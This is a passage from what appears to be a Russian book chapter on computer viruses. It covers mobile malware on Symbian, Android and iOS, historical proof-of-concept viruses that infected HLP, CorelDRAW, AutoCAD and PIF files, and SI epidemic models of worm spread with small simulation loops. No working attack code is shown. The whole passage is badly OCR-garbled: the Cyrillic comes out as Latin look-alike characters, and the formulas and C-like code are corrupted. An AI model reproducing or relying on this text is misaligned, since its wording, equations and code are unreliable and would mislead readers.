Kiazh h noJiHMopcJ)HbiH PM Cryptic) iibrrafoxca pacripocTpaniiTbca Me- 
pe3 CMeHHbie HOCHTeJIH ((|)JI3UI-KapTOMKn).

He cjieayeT flyMarb, mto Tejie(Jx>Hbi nonyjiapHofl cepim Nokia S60 c one- 
paijHOHHOH CHCTeMOH Symbian -  efliiHCTBeHHbie Mo6iuibHbie ycTpoficTBa, 
no^BepaceHHbie BHpycHHM aTaKaM. CTpa/iaioT h  cMapT<{x)HM, paooraromne 
noa ynpaBJieHHeM OnepanHOHHOH chctcmm Windows Mobile. Thiihhhhm 
npeacTaBHTejieM B iip ycoB  AJia hhx HBJiaexca Duts, KOTopHii VMeeT 3apa- 
acan> PE-nporpaMMbi b kophcbom KaTajiore ycTpoiicTBa « My device*.

H o Haflo npH3HaTb, mto snHfleMim «Tejie4>OHHM X» B iipycoB , cjivmhb- 
niHecH b 2004-2006 ro/tax. npo^ojiacenHa noKa He nojiynmiH. CaMopa3- 
MHoacaioiUHeca nporpaMMbi aJia Mo6iuibHbix ycTpoiicTB npoaojiacaioT no- 
nixoHbKy c.03;iaBaTbca, ho CKOJibKo-Hwoynb saMeTHoro pacnpocTpaHeHiiM 
B <i/lHKOH npwpojie* He HMeiOT. B 3IiaMHTejIbHOH M epe 3T0 CBH3aiI0 c Tex- 
HHMeCKHMH MepaMH, npeflnpHHHTMMH IIpOH3BO^HTejIXMH CpeflCTB MO- 
6HJibHoii cbh3ii: HanpiiMep, Symbian OS HaMHiiaa c BepcHH 9.1 npoBep>ieT 
3JieKTpoHHjrio micjjpoByio riozinncb ycTaHaBJiHBaeMMx npHJioaceHHH1. Ho 
Bee ace cn eun a jih ctm -Bupyc o ji o th cmhtsiot ochobhmmh npiiMiiHaMH Ma- 
jioft pacnpocTpaHeHHOc™ «Tejie(f>oHHbix» BiipycoB flBa o6cToflTejibCTBa:

1 noapo6Hee o6 311,11 mu noroBopuM jiajibiue.
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O HcnojiMOBaHHe a o b o jib h o  m o * h h x  h floporocTonumx cMapT<£o- 
hob h  KOMMyHHKaTopoB noKa He npnoSpejio MaccoBoro xapaicrepa 
cpeflH « o 6brfflhix» ri0Jib30BaTejieii;

O  nocjie 2006 r. y cepHH Nokia S60 noHBHJiHCb MHoroHHCJieHHbie 
CHJibHbie KOHKypeHTbi, h to  npHBeJio k «pa3MbiBaHHio» noTeHiyiajib- 
hoh cpea u  ana BHpycHoro pa3MHoaceHiiH (cm. puc. 7.10).

so . 
70 
$0 
so .
40
30 ■ 
20 ■ 
10 
0 .

■  Sjmbtan 

BRIM
□  I0S

□  Wndows

□  Android 

a  Other

2005 2006 2007 2008 2003 2010 2011

Pmc. 7.10 ❖  flMHaMUKa nonyjiapHoc™ 
pa3/inHHHX MoSmibHbix n/iaKjiopM

O aK T iw ecK H  M ecTo Sym bian b M npoB o ii Ta6ejiH  o  paHrax 3aHHJin cpe- 

flb i A p p le  iO S  h  A n dro id . B03M0acH0, h m chh o  o h h  nepe3 HeKOTopoe Bpe- 

mh cTaH yr apeH oft o jla  BH pycH O -aH THBnpycH tix SaTaJiroi. H o  n oK a  aT oro  

HeT. TpoHHCKHX nporpaMM a u x  A n d ro id  nojiHbiM -rroJino, ecTb HecKOJibKO 

h  a n a  iO S , h o  BH pycbi n ona  O TcyrcTByioT . C  MeM s t o  CBH3aHo?

E cjih  Sym bian hbjihctch KJiacciiMecKOH OnepanHOHHOH chctcm oh, 

npeflocTaBJiaromeii npHKJiaaHhiM nporpaMMaM AOCTyn k (J>aHJi0B0H ch- 

CTeMe, naMHTH, HHTepcJjeiicaM h t .  n., t o  pa3pa6omHKH iO S  h A n dro id  

nouiJiH flpyrHM nyreM . Bee npnjioaceHHH b s th x  cpeaax bhuiojihh iotch 

n o a  ynpaBJieHHeM BHpiyaJibHux MauiHH.

HanpHMep, xoth  b ochobc Android JieacHT Hflpo Linux. KOTopoe nozi- 
flepjKHBaeT ii cJjaft.TOByio cncTeMy, h paenpefleneHHe naMHTH, h 3anycK- 

3aBepiueHHe npmioaceHHii, ho eaHHCTBeHHbiM npHJioacemieM HBJinerca 

Java-MauiHHa. JIk>6oh ace nojib30BaTejibCKHH koa BbinojiHHeTCH TojibKo 

no a ee ynpaBJieHHew h, pa3yMeeTCH, «BMCKOTOTb» 3a npe/iejihi He MoaeeT. 

CooTBeTCTBeHHO, nocKo;ibKy Java-MauiHHa yMeeT b ochobhom  Bbirio;i- 

HHTb KOMMVHHKanHOHHbie onepam m  -  BecTH HHa,ior c nojib30BaTejieM, 

npHHHM3Tb H OTCbUiaTb 3BOHKII, C  M  C  - C O O 61H C H11H H SJIeKTpOHIiyiO nOM- 
tv, «u iapnTi>» no HHTepHeTy, B ecra  aapecHyio KHHry h  t. n., t o  h  m hoto- 
HHCJieHHbie TpoHHCKHe nporpaMMbi VMeioT poBHo cTOJibKO ace, h hh Ha 

ftoTy 6ojibine. H ostom v THnHHHbie TpoHHCKHe nporpaMMbi, paccHHTaH- 

Hbie na pa6oTy b cpe/ie A n dro id , - s to  «xy jm raH b i», « jk v jih k h » h jih  «mo-
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UieHHHKH», KOTOpbie nopTKT HH(}x>pMaUHIO II0JIb30BaTejIH, nOXHIUalOT 
KOH^H/teHUHa^TbHbie /jaHHbie, paccbijiaioT o t  nyacoro hmchh aoporocToa- 
mne CM C-cooom enira h t. n. Hctouhhkom Bpe/i0H0CHbix nporpaMM 
fljw  Android  hbjihkitc5i B3JioMaHHue cairrbi, a <myTeuiecTBOBaTb>> caMo- 
CTOHTe^bHO KaK BHyTpH cMapT(})OHa, TaK h Meayiy ycTponcTBaMH ohh He 
yMeioT. Ecjih cKa'MBaTb npHJK»KeHH« c Google Market, to , CKopee Bcero, 
BepoHTHocTb «noOTeroiTb 3apa3y» 6yaeT oneHb HeBbicoKa. K  ycJiyraM ace 
m o 6wrejiePi 3KCTpnMa hmciotch aHTHBHpy ch, HanpHMep Android-BepcHH 
DrW eb.

Iloxoace o6ctoh t jytJio h co cpeaoii iOS. B ocHOBe ee jicjkht Darwin- 
no/iooHoe *mpo, « o 6epnyToe>> POSIX-coBMecTHMbiMH 6H6jiii0TeKaMH. 
H o  npHKJiaflHbie nporpaMMbi hh k 4>aHJi0B0H CHCTeMe, hh k HHTep4>eiicaM 
yoTpoHCTBa ;iocTyna He HMeioT, nocKOJibKy Toace BbinojironoTca «b  Hea- 
pax» BiipTyajibHOH MauiHHbi. Bojiee Toro, jiio6oh koa, pa6oTaiomHH no/t 
ynpaBJieHHeM stoh  BHpTyaJibiioii MauiHHbi, -  h  npHKJiaaHOH, h chctcm- 
HblH -  06«3aTeJIbH0 flOJDKeH HMeTb «BajIHZlHyK>» 3JieKTpOHHO-HH(j3pOByK) 
no/jriHCb KOHKperaoro np0H3B0,THTejia. TaKHM oopasoM cjwpMa Apple Ha- 
ZieeTCH ocymecTBJiHTb acecTKHH KOHTpojib Hafl pacnpocTpaHeHHeM iOS- 
nporpaMM, h, iiaflo npH3HaTb, s to  eft biiojihc yjiaeTca.

TeopeTH M ecKH  noHBJieHHe caMopa.3MHo>fcaioiUHXc>f nporpaMM b cp ea a x  

Android  h  iO S  b o 3 m o *h o .  PacTyT 06'beMbi naMHTH h  6hicTpofleH crane 
n p o u ec co p o B . IIpoH3BoziHTejiH npHfcTaziHbix nporpaM M , Ha^eacb npn- 
BJieub n o K y n a T e jw , n ozi'ia c  HafleJisnoT cboh pa3pa6oTKH H36htomhhm 
(J>yHKiiH0Ha^0M. H e hckjhomcho noaBJieH ne BHpTyajibH bix MauiHH «b to - 
p o r o  yp oB H H », icaK pa3 o 6 j ia a a io m H x  Ha6opoM «yMeHHH», aocT a T om u jM  

ajih noHBJieniia KOMnbiOTepHbix BHpycoB. HanpHMep, M o ry r  noHBHTbca 

o(J)HCHbie npHJioaceHHfl (H T 0 -H ii6 y a b  THna Android  W ord hjih iO S  Excel), 
CnOCOOHMe BblllOJIHHTb BCTpoeHHbie B AOKyMeHTbl MaKpOKOMaHflbl, h Tor- 
a a  o y ^ e T  oTKpbrra HOBan cT p am iu a  K0M nbi0T epH 0 H BH pycojiorH H .

H o  n oK a  s t o t o  He cjiyMHJiocb. no-BHjjHMOM y, v c jio b h h  /ijlh h obm x  Te- 
JiecftoHHbix anHfleM HH eme 0K0HMaTejibH0 He «co3pejin», h  s n o x a  n oT p a - 

ceHHH x a e T  Hac Bnepe/tH.

7.2.6. riposaji BMpycHan «3K30THKa»
3HaMHTejibHyio nacTb KJiacca «K30THMecKHx*- BiipyeoB cocraBJiaioT TaK 

HasbiBaeMbie «  p ro o f o f  con cep t -  A0Ka3aTeJibcTBa KOHuenuHH*. KaK npa- 

BHJIO, 3TO SOBOJIbHO OpHTHHajIbHbie, cymecTByioiuHe B He60JIbUI0M KOJIH- 

uecTBe 3K3eMnJiapoB camopa3muo>k ak>mheca nporpaMMbi, 3apaacaiomHe 

Heo6biHHbie iiH f{)opM am ioHiibie ooteKTbi. O oijm ho ohh n y 6jiHKyioTCfl b 

3 ji eKTpoH hw x jKvpnaJiax h jih  cpa3v nocbuiaiOTca aBTopaMH b aHTiiBiipyc-
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HyK) KOMnafflUO, a TO H «BeH H O» XpaHflTCH B JIHHHHX KOJUieKUHHX 3BT0- 

poB . T h tih h h h m  np iiM epoM  n o/ io6 n oro  « p r o o f  o f  c o n c e p t*  M0acH0  c HHTaTb 

<rpac|)HHecKHH* BHpyc jim cpe flb i LabVIEW, paccM O TpeH H tiii paHee.

O co6 eH H o  ypoacafiHM M  Ha n o A o 6 H y io  «cyn ep 3 K 3 0 T H K y » B b iaa jica  py- 
6eac aB yx  bckob .

HanpHMep, 3hmoh 1999 r. itojibiijich nepBbiH Bnpyc, cnoco6HbiH 3apa- 
acaTb 4)aii^bi noMomn W indows (HLP-<|)aHJiw): W in H LP .D em o . Zlejio 
B TOM, HTO HLP-(})aHJIbI MOryT COflepHtaTb He TOJlbKO TeKCT H KapTHHKH, 
HO H np0H3B0.TbHbie /IBOHHUblC flaHHbie -  B TOM HHCJie H cnennaJibHbie 
cKpunTu, HcnoJiHaromnecH npn 3arpy3Ke (})aHJia. Bo3mo>khocth sthx 
CKpHirroB HeBejiHKH, ho hx BnojiHe flocTaTOHHo, h to6m 3anycraTb Ha BM- 
nOJIHCHHe JII060H KOfl (B TOM HHCJie H BHpyCHblii), XpaHHUlHHCH B TOM ace 
(Jjaitie. B /lajibHeiimeM, pa3BHBaa 3Ty ace H/iero, noHBHJWCb W in H L P . 
Lucky, W inH LP .P lu m , W in H L P .A gen t h npoHiie. BbiJi cnoco6eH npa- 
TaTbca BHyTpH (})aHJi0B noMomn H BHpyc W in 9 X .S K . 3jieKTpoHHbie ;io - 
KyMeHTbi h KHHra HepeaKO pacnpocrpatwioTCH b HLP-c|x>pMaTe, TaK hto  
npHHUHnnajibHbix nperpaj annzieMHflM noao6Hbix BHpycoB HHKoraa He 
cymecTBOBajio. Bnponew, nocjieflHHe BepcHH W indows nepecTajm no 
yMOJiHaiiHio no^aepacHBaTb HLP-cjxtpMaT. Bmbcto Hero 3Kthbho Bue/i- 
paeTCH c}x>pMaT CHM, npeflCTaBjiajouiHH co6oh mhojkcctbo HTML- 
CTpaHHU, ynaKOBaHHbix b e^HHbiH (Jjaiiji.

B M ae 1999 ro/ia CTaji H3BecTeH nepBbiH BHpyc, 3apaacaiomHH (J>aH- 

Jihi rpa^JHHecKoro naKeTa CorelDRAW (B H p yc  CSC.SSV, o h  ace Gala). 
3 t o t  BH pyc 6 h j i  HanncaH  Ha «3 U K e  cueH apneB  CorelSCRIPT 11 6 h j i  

cnoco6eH 3apaacaTb T0JibK0 ^ la iijib i CorelDRAW, CorelPHOTO-PAINT 
h CorelVENTURA BepcHH, p acn p ocT p aH eH H tix  b nocJieaHHe roflbi 
XX BeKa.

JleTOM 2000-ro iiohbhjich BHpyc ACAD.Star. BnponeM, <Jx>pMaJibH0H 
hobhhkoh 6biJia TojibKo cpeaa pa3MHoaceHHa -  nonyjiapHaa CHCTeMa 
3BTOMaTH3HpoBaHHoro npoeKTHpoBaHHfl A u toC A D . A  caM BHpyc 6uji 
HanHcaH Ha H3UKe VBA h Majio hcm oTJiHnajica o t  «MaKpo6paTbeB», 
TeppopH3HpoBaBiUHX npHJioaceHHa MS Office. CnycTa HecKOJibKO .rieT, 
b 2003 ro fly , noaBHJica (h  aaace Bti3Baji H e6ojib iuoH  riepenojiox) BHpyc 

MBP.Kynel, 3apa»:aBm H H  (j)aHJibi KapTorpacJiHHecKoro naKeTa M aplnfo. 
O h Toace 6bui Hanncan Ha « 3biKe Basic, ho Ha pa.iHOBH/iHocTii MapBasic, 
BCTpoeHHoft b nonyjiapHbifi FMC-naKCT.

B 0 KT«6 pe 2000 -ro  CTaji H3 BecTeH nepBb E-Worm.PIF.Fable -  nep 

BbiH BHpyc, 3apaa<aiomHH P IF -c jran jib i. Ero m odus operandi 0 CH0 BaH Ha 

oco 6 eHHocTax (f:x)pMaTa P I F-cfja iijioB . npeflCTaB.aaiomux co 6 o h  «n ep e -  
xo/ ihh kh >  Mexay W in d o w s  h npujioacemwMH b cxanaapTe MS-DOS.
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BHyrpH PIF-t|)aHJia, KpoMe npoHeft HHc^opMaunM, xpaHHTca CBejieHHH 
06 HMeHH 4>aitia 3anycKaeMoro npHjioaceHHH, o ero pa6oye.M KaTajio
re, a TaK *e MoryT pacnojiaraTbcfl tckctm  KOHtjjmypauHOHHMx <pa.iinon 

^ A U T O E X E C .B A T *  h «C O N F IG .S Y S *, (JjopMiipyromnx r jvi npHJio-
JKeHHH KOM(jX)pTHyK) CHCTeMHyiO Cpe^y. M acca  B03MOaCHOCTeH flJW 3JtO- 

ynoTpeojreHHH! M o a a io  noMeHHTb hma npiuioaceHHa, xor/ia 3anycTHTca 

coBceM He Ta nporpaMMa. M ojkho n o a cyH y r t BMecTo -^ A U T O E X E C . 

B A T *  caM0pa3MH05KaK>mHHCH BAT-BHpyc. MoacHO caejiaTb Maccy npo- 
hhx ^noajiHHOK*. Ho PIF-({)opM aTM  a  jih pa3Hbix Bepcufl Windows n jioxo  

coBMecTHMbi a p y r  c apyroM . B o t  noqeMy c MauiHHbi Ha MauiiiHy P IF -  

4>afijibi npaKTHMecKii He riepe/jaioTCfl, h noflooHbix BHpycoB cymecTByeT 

0 'ieHb HeMHoro -  h x  MoacHO nepecHHTaTb no najibitaM o^hoh  pyia i.
Bee npuBe/ieHHbie npHM epbi -  y6e/inTejib iia .ji lu rjnocTpam iH  «Be3/ie- 

e ym H o cT H * BHpycoB, He n p a e jia  j ih ?

7.3. PacnpocrpaHeHne enpycoB
...O eomuKHoeeHuu anude.HUu otnMejixux, uesa- 
Memubix iJimy vepeeu, pamocuMboc eempoM u 
eodou...

A. h B. CTpyranKne. «TpyaHo 6un> 6oi om»

BbinymeHHbifl Ha cBoooay BHpyc ck jio h ch  k  neKOHTpojmpyeMOMy pa3- 

MHO/KCHHIO, K HCn0JIb30BaHHK) BCeB03M0>KHbIX BblHHCJIHTeJIbHhlX pecyp- 
co b  BiuioTb flo  no jiH oro hx  HCHepnaHHa. B  s to m  cM bicjie BHpyc n o a o6en 

noacapy.

H o Be/ib noacap noacapy po3Hb. B cyxofi CTenH nJia.MH H/ieT c tch oh , 

yHHUToacasi Ha CBoeM n y ra  Bee aciiBoe, -  h TOJibKO nym em ibiH naBCTpeny 

apyroH orHeHHbiH Baji cnoco6eH 0CTaH0BHTb noacap. H ao6opoT, bucox- 
rniiH TopcJ) f lo jiro  h He3aMerHo TJieeT noa 3eM.xe.ii, h noracHTb oroHb mo»c- 

ho, TOJibKO BbuiHBaa CBepxy Ha ropsnmiii yqacroK  orpoMHbie Maccbi BOflbi.
K  KOMnbiOTepHMM «n oa ca p a M * Toace HyaceH HHflHBim yajibHbiH  no/ixozi. 

Ilo aT O M y  BaacHO npeju'TaBJiJiTb ce6e, KaK p a c n p o cT p a n a e T o i KOMnbioTep- 

H a «  «3 a p a 3 a *  p a 3 jm 'iH fjx  T im oB  [4 7 , 48 ].

7.3.1. SnMfleMMM ceTeBbix nepBeti
CaMbie KpynHbie h 6biCTpopa3BHBaromnecH 31111,xcmhh Bbi3biBaioTca ce- 

TeBMMH m h tep h et-liepbhmh, MepBb TaKoro Tuna cnocooeH  aTaKOBaTb 

jn o oo ii KOMnbioTep, HMeromiiii co6cTBeHHbiH IP-aapec, Biie 3aBiicHMocTii 

ox ero  reorpa(j)HMecKoro MecTonoJioaceHHa. 3 to h  cii'ryam ra cooTBeTc'TBy-



eT MOfleJib b BHfle unam ozo* (h o t  4ioMozeuHozo>) rpatjja, KaacflUH y3eji 
KOToporo CBH33H co BceMH ocTajibHbiMH. TaKOH rpat}) H3 N  y3JIOB HMeeT 
N ( N -  l ) / 2  pe6ep, npjweM CTeneHb (k o jih h cc tb o  «coce/ ieii») a m  Kaamo- 

ro y3/ra paBHa N — 1.

_____________ PacnpoopaHeHne BHpycoB ❖ 509

Pm c. 7 .1 1  ❖  «K a x A b ifi c  kgdkaum# -  
rpa4> roMoreHHoii ceiu

JlHHHbiH ropbKHH onbrr no/iCKa3biBaeT HaM, h to  ceTeBbie annaeM HH 

Bcnbix iiBa ioT  BHe3anH0 h  pa3BHBaioTCH cTpeMHTejibHO. «O c T p a a  (|)a3a>> 

aJTHTCH OT HeCKOJIbKHX flHeH AO HCCKOJIbKHX HefleJIb, 3a 3T0 BpeMH 3a- 

paJKeHHWMH OKa3bIBaJOTCH COTHH TbICHH KOMIIhlOTepOB. H o HB TC^CHHe 

M H orax  M ecaueB  n o c jie  T o ro , KaK a n iije M iiH  h j ic t  Ha criaa . onacH O crb  3a- 

pa3HTbca nepBeM, BbBBaBiiiHM ee, o c ia e T c a  BnojiH e peaJibHOH. K aK H e ace 

4>aKTopM b jih k io t  Ha pacnpocTpaH eH H e «3 a p a 3 b i»?

Pa3yM eeTca , n o jiH H M ii h  to h h h m h  CBe,aeHHHMH o  npoTeKaHHH n o - 

Ao6hm x  He o o jia a a eT  h h k to  Ha CBere, c.tou ikom  yac cJioacnaH

h 6ojn>maH CHCTeMa -  M HTepHeT. H o  0 6  a r a x  n p o u ec ca x  mohcho cyflH Tb 

KOCBeHHO, 3aperHCTpHpOB3B XapaKTepHCTHKH Tpac})HKa B KaK0 M-HH6 y7 lb 

cerM eH Te BceM H pH ofi nayTHHbi h  nposKCTpanojiH poBaB  noJiyneHHbie cBe- 

aeHHH Ha BCK) ceTb. B MaCTHOCTH, 6 oJIbUIHM /lOBepHCM y  MHpOBOH KOMHblO- 

TepHOH 0 6 meCTBeHH0 CTH IIO.lIb3yiOTCH pe3yjIbTaTbI HCCJieaOBaHHH, BU- 

nojiaaeMbix HeKOMMepnecKOH opraH H 3aaH eft C A I D A  -  C o o p e ra t iv e  

A s s o c ia t io n  fo r  In te rn e t  D a ta  A n a ly s is , *h>h a 0 6 p 0 B0 j ib H u e  K op p ecn oH - 

aeHTbi HCHBjrr h  pa6oTa ioT  bo  B cex  y ro jiK a x  M npa. IU h p o k o  H3BecTeH 

TaKjKe «H H Tep H eT -Te jiecK on »  M 3p a n jib cK o ro  yHHBepcHTeTa ( I U C C / I D C  

In te rn e t  T e le s c o p e ).  K p oM e t o t o ,  K aam aa K pynH aa aHTHBHpycHan KOMna- 

HHH HM eeT CBOK) CHCTCMy Ha6 jIK)aeHHH, HanpHM ep B BH/ie HeCKOJIbKHX /ie- 

CflTKOB HJIH COTeH pa36pOCaHHUX nO BCeMy M H py «MeflOBbIX ropUIOMKOB» 
(h o n e y p o t )  -  c j ia 6 o  3am niueH H bix KOM iibioTepoB, cHao>KeHHbix Mom Hbi- 

mh CHCTeMaMii o6Hapy>KeHHH h ana.Tiiaa BTopacemiH. I lH o ra a  6breaeT /to- 
CTaTOHHo h CT3THCTHKH, perH C TpH pyeM oii b eAHHCTBeHHOH TOHKe, p acn o - 

J i0*eH H 0H  Ha « jik j/ ih oh  yjiHue*-, -  TaK, p n a  K pynH b ix  p a 6 oT n o  H3yMeHHio 

ceTeBbix anii/reMMH 6bi.n B b in o jm en  Ha 0CH0BaHHii H a6 jn o flem iH  3a cep -
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BepaMH C h e m i c a l  A b s t r a c t  S e r v i c e .  H a K o n e u ,  mojkho npocTo nocrpoHTb 
« H r p y m e H H y jo »  c e T b  H3 HecKOJibKHX aecaTKOB BHpTyaJibHbix M a u iH H , 3a -  

nycTHTb b Hee nepBa h Ha6juoaaTb 3a ero rioBeaemieM, -  KaK nocTynHJiH 
bo B ^ r y  ( K ) .  M .  M o H a x o B  h ap. [ 2 4 ] ) .

Ha6jHoaeHH5i 3a ceTeBbiM Tpa(J>HKOM n03B0Jinjra caejiaTb Bhreoa o tom, 
hto pacnpocxpaHemie «3apa3bi» no KOMnbioTepHbiM ccthm oneHb Hano- 
MHHaeT pa3BHTHe simaeMHH h 3nH300THH b jkhboh npnpoae -  HanpHMep, 
rpnnna cpean jnoaeft hjih amypa cpean KopoB. CooTBeTCTBeHHo, a jw  hx 
HCCJieflOBaHHa M05KH0 npHMeHHTb pjw xopouio H3BeCTHbIX B COIiHOJIOrHH, 
6nojiormi 11 Me/jmiHHe KJiaccHnecKiix MoaeJieii.

7 3 .1 .1 .  I l p o c m a s i  S I -M o d e n b  S K cn o H en u ju a jib H o zo

p a 3 M  H 03K CH UJi

B 3T0H MoaejiH rrpeanojiaraeTC-H, hto KaacflbiH KOMnbJOTep MoaceT na- 
XOflHTbCH B OflHOM H3 flByX COCTOHHHH:

O  S  ( S u s c e p t i b l e )  -  3 f lo p o B b iH  11 BocnpHHMHHBbifi k 3apaaceHHK>;
O I (Infected) — 3apa*eHHbiH.
CMeHa COCTOHHHH B03M0»vHa JIHUIb B OflHOM HanpaBJieHHH -  OT S K I.

IlycTb b  HanajibHbiH m om ch t BpeMeroi t0 =  0 b cera pa3MepoM N  npn- 
cyTCTByioT  7 (0 ) =  70 3 a p a *eH H b ix  KOMnbioTepoB, h  nycTb icaacahiH H3 h h x  

B eflH H H Iiy  BpeMeHH npOH3BO/IHT p ycneU IHM X IIOIIblTOK pa3MH05KeHHH. 

C jieaoB aTe jibH o , b MOMeHT BpeMeHH ti =  1 noaBH Tca /0 x  p h o b h x  3apa- 
aceHHbix KOM nbioTepoB, a o 6 m ee  h x  k o/ ih h cctbo  cocTaBHT 7 (1 ) =  7 (0 ) +  

+  70 x  P =  70(1 +  P ) uiTyK . J len co  noJiyHHTb o 6 m y io  cfwpM yjiy, on H ctiB a io - 

m y io  flHHaM HKy pa3MHoacem iH HepBefi: I ( t )  =  (1 +  P )r.
B o jie e  ya o 6 e H  cnocoo on H can n a  aHHa.MHKH pa3M H oacem ia b BHae aHcjo- 

4>e p en u  h a Jib h bix ypaBH eH H ii [2]. UpaB/ia, npn stom  i ip u xoaH T ca  ncnojib- 
30BaTb pan ynpomeHHH: 1) BpeMfl CHHTaTb HenpepbiBHbiM; 2 ) OTKa3aTbc# 

ot nejiOMHCJieHHoro xapaicrepa H ToroB bix c^opMVJi1. B  pe3yjibTaTe h to  r o 

uble (jx )pM y.xbi 6 y a y T  jiHiiib npH fijiiiaceH H o on u cu B aTb  aHHaMHKy pa3BH- 
t im  snuaeM H H , ho na sto mojkho 3aKpbiTb rjia3a. M raK , npeano.ToatHB, hto

1 E cjih  pem aTb yp a B H em w  b n e .iu x  'mc/iax, t o  Ha rpa(J)HKax noHBHTca «KOJie6a- 

H H H  «OCIimiJIHI{HII».

Pmc. 7.12 ❖ CM eHa c o c t o a h u m  
B npOCTOM SI-MOfle/lM
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Ha 6ecK0HeMH0 M ajioM  HHTepBane BpeMeHH A t  —»  0  kojihmcctbo 3apa>Ken- 

HblX KOMnblOTepOB paCTeT JIHHefeo C K03(jx})HUIieHT0M np0n0pUH0HaJIb- 
hocth p, cocTaBHMajieMeHTapHoe npHpaineHHe A/ =  /(£ + A t )  -  I ( t )  =  [/(£) 
+  $ I (t )A t ]  -  I ( t )  *= PI ( t )A t  h nojiyM HM  /iHc^cjjepeHUHajibHoe ypaBHeHHe

di At 
npHO/iHvKeHHO onucbiBaiomee /uiaaMHKy pa3BHTHa ariHAeMHH b ycjioBH- 
ax npocTOH SI-MOfleJin. KaK ero peuiaTb? 

Bo-nepBbix, cymecTByiOT aHajiHTH^iecKiie cnocoobi, KOTopue cpa3y 
/laior T0<[H0e pemeHHe:

I ( t )  = /0 x  e x p ((3 0 .

Bo-BTOpMX, MOJKHO IIOJiyHKTb MHC.rieHHOC pem eH H e ypaBHCHHH, HC- 

n0Jib30BaB, H anp iiM ep , x op o rn o  H3BecTHbiit MeTO/i S iu rep a :

Step=1; I  = 10; t=0; 
w h ile  ( 1 ) { 

p r in tfC '\n t= % d  I=Jtd", t++. I>N?N: I ) ;  
i f  (I>=N) break;
I = I + S tep* 88ta* I; / /  flpwuwn: X ( i+ 1 );= X ( i)  + ia r * F ( X ( i»

)

H a K O H e u , Henjioxne pe3yjibTaTbi aaioT MeTOflbi HMmrauHOHHoro m o - 

AeJiHpoBaHHH. 3aBeflH Te M acciiB  H3 N  aneeK h  b miK/te BocnpoH 3Be;iH Te 

noBe^eH H e n o n y jia iiH H  B H pyco B , n p o ^ B H ra a  Biiepezi ancKpeTHoe BpeMa 

h  noMe’ia a  h h c h k h  b  c o o tb c tc tb h h  c TeMH i u h  h hm m h  npaB iuiaM H  paa- 
b h t h ji  anH/teMHH. HanpHMep, TaK:

t=0; m=0;
f o r  ( i= 0;i<N;i++ ) NET[i]=STATE_S; 
f o r  ( i= 0; i <10; i++) NET[i]=STATE_I; 
w h ile  ( 1 ) {

Sum=0; fo r  ( i  =0;1<N;i++) i f  (NET[i]==STATE_I) Sun** 
p r in tf( ''\n t= % d  I=%d", t++. Sum);
i f  (iii==-1 ) break; 
f o r  (i=0; KSutri; i++) 
for (j=0.j<Beta,j *••>■) {
m=-1, fo r  (k=0;k<N;k++) i f  (NET[k]==STATE_S) m=k;
I f  (m! =-1 ; NET[iP]=STATE_I;

>
>

KcTaTH, HMefiie b bhav, mto HMHTauHOHHbie 3KcnepHMenTbi nyaiHo 
noBTopsTb MHoroKpaTno c pa3HbiMH « 3aTpaBKaMH>>, a 3aTeM ycpe^HaTb 
pe3yjibTaTbi.

// (MHCTHTb C6Tb 
// nOMBTHTb 10 gOjlbHblX

; / /  OojibKQ SonbHux?

// KoHeu HoaejixpoeaHMi)
// Kaxnoro 6o;ibHoro 
// . . .Beta pa3 .
// .H3(*TH 3fiopoBoro ..
,// .. .« sapaaiiTb ero
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B jik)6om cJiy^ae no;iyHaeTctf SKcrroHeHTa, rpatjMiKH KOTopoH ajih I 0 =  1, 
P =  2 , N -  100H3o6pajKeHUHa pHC.7.13 no#HOMepoM (1 ). riepBHH Bapn- 
3HT KpHBOH COOTBeTCTByeT aHa.THTHMeCKOMy pemeHHKD, BTOpOH -  pe3y.>Ib- 
TaTaM oaHOKparaoro HMHTaynoHHoro aKcnepHMeHTa. Jlerno y 6eanTbc>i, 
HacKOJibKQ ohh 6jih3Kh ap jT  k apyry.

Phc. 7 .1 3  ❖ KpuBbie pa3MHO>KeHMq Mo6mibHbix areHTOB 
(1 -  3KcnoHeHunajibHafl SI-MOAeiibMarbryca;

2 -  ziorncTHHecKaa SI-MOAe/ib OepriojibCTa; 3 -  SIS-MOfle/ib;
4 -  SIR-MOAeJib KepMaKa-MaKKeHflpuKa):

a) r/iaflKne peujeHun AHcM>epeHLU/iajibHbixypaBHeHMii;
6 ) ocunn/inpyioLLiMe pe3yjibraTbi MMmaunoHHUX aKcnepnMemoB

CTpeMHTejibHoe pa3BHTiie ariH/TeMHH no SKcnoneHTe cooTBeTCTBy- 
eT H^eajibHOMy cjiynaio, Kor/ia Ka>Kflaa nonbiTKa pa3MH0»drrbca rapaH- 
THpoBanno ripHBo/iHT k ycnexy. IIo/io6Hbie npocTbie mozicjxh b kohuc 
XVIII BeKa paccMaTpHBaJi T. Ma.ibTyc, nbiTaacb 060CH0BaTb Heii3oe>KHoe 
h cKopoe nepeuacejieim e 3eM;m HeJioBenecKoii nony.rauHefl. PL'sbcctho, 
h to  pea.TbHbie 3Ha'jenHH P ju m  cereBbix qepBeii .ne^aT b HUTepBa/ie o t  
oziilofi koiihh 3a necKO.’ibKO ceKyn/i n o  necKOJibKiix koithii b ceicvH/iy.
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PacHeTM noKa3biBaK)T, hto eaHHCTBeHHbift 3K3eMiuiap MepBa, co3aaBaa 
b ceKjTifly oaHy co6cTBeHHyio kotthio, nojmocTbio 3apaacaeT aapecnoe 
npocTpaHCTBo H3 N  =  232 = 4 MJipa yajioB Bcero 3 a... 22 ceKyHflbi! Hy, 
B cootbctctbhh c oojiee tomhoh oqeHKofi no cjxipwyjie /(£) — (1 + P)£ no- 
TpeoyeTCH HecKOJibKO 6ojibiiiHH cpoK -  nojiMHHyTbi. BnponeM, pa3HHua 
HeBejniKa, He TaK jih?

B 03M0/KH0 jih TaKoe Ha npaKTHKe?

B 2002 rosy  H. Ym ep , HccjieaoBaTeab H3 yHHBepcm eTa BepKJiH 
(C I I I A ) ,  paccM orpeji KOHijenmiio n in oTeT im ecKoro nepBa, KOTOpblH 

b Jiio&oii momcht BpeMeHH aTaKyeT TOJibKO BocnpHHMHHBbie k 3apaa<e- 

HHK> KOMnbKDTepbl II n03T0My pa3MHO>KaeTCH HMCHHO no aKcnoHeHTe [71, 

72], 3 t o  bo3mojkho, ecjin :

O  h jih  3K3eMnJiapw nepBa o 6MeHHBaroTca a p y r  c apyroM  cnncKaMH 

paHee :sapa>KeHHbix aapecoB;

O  h jih  3K3eMnJiapbi y ep B » Hcnojib3yK)T h h x  pa3MHoaceHHH Henepe- 

ceKaromneca 4>parMeHTbi aapecH oro npocTpaHCTBa. 

